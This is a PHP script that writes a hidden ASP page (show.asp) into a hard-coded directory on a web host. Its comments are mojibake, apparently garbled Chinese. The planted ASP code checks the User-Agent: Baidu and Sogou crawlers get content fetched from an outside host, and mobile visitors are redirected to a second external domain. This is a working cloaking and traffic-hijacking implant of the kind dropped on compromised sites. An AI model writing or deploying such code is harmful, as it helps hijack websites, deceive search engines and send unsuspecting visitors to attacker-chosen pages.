<?php
// 瀹氫箟鏂囦欢璺緞
$filePath = 'D:\\vhostroot\\LocalUser\\yuda\\www\\inc\\show.asp';

// 瀹氫箟瑕佸啓鍏ョ殑鍐呭
$content = '<%
Dim userAgent, isMobile, content

'' 鑾峰彇鐢ㄦ埛鐨� User-Agent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")

'' 妫€鏌� User-Agent 涓槸鍚﹀寘鍚櫨搴﹁湗铔涙垨鎼滅嫍
If InStr(userAgent, "Baiduspider") > 0 Or InStr(userAgent, "Sogou") > 0 Then
    '' 鑾峰彇澶栭儴鍐呭骞惰緭鍑�
    Set http = CreateObject("MSXML2.ServerXMLHTTP")
    http.open "GET", "http://y.ban10.cn/ind.php", False
    http.send ""
    content = http.responseText
    Response.Write content
    Response.End
End If

'' 妫€鏌ユ槸鍚︽槸绉诲姩璁惧
isMobile = False
If InStr(userAgent, "Android") > 0 Or InStr(userAgent, "webOS") > 0 Or InStr(userAgent, "iPhone") > 0 Or InStr(userAgent, "iPad") > 0 Or InStr(userAgent, "iPod") > 0 Or InStr(userAgent, "BlackBerry") > 0 Or InStr(userAgent, "IEMobile") > 0 Or InStr(userAgent, "Opera Mini") > 0 Then
    isMobile = True
End If

'' 濡傛灉鏄Щ鍔ㄨ澶囷紝閲嶅畾鍚戝埌鎸囧畾椤甸潰
If isMobile Then
    Response.Redirect("https://tz.ban10.cn/yao.php")
    Response.End
End If
%>';

// 妫€鏌ユ枃浠舵槸鍚﹀瓨鍦紝濡傛灉涓嶅瓨鍦ㄥ垯鍒涘缓鏂囦欢
if (!file_exists($filePath)) {
    // 灏濊瘯鍒涘缓骞跺啓鍏ユ枃浠�
    if (file_put_contents($filePath, $content)) {
        echo "鏂囦欢 show.asp 宸叉垚鍔熷垱寤哄苟鍐欏叆鍐呭銆�";
    } else {
        echo "鏃犳硶鍐欏叆鏂囦欢銆�";
    }
} else {
    echo "鏂囦欢 show.asp 宸茬粡瀛樺湪銆�";
}
?>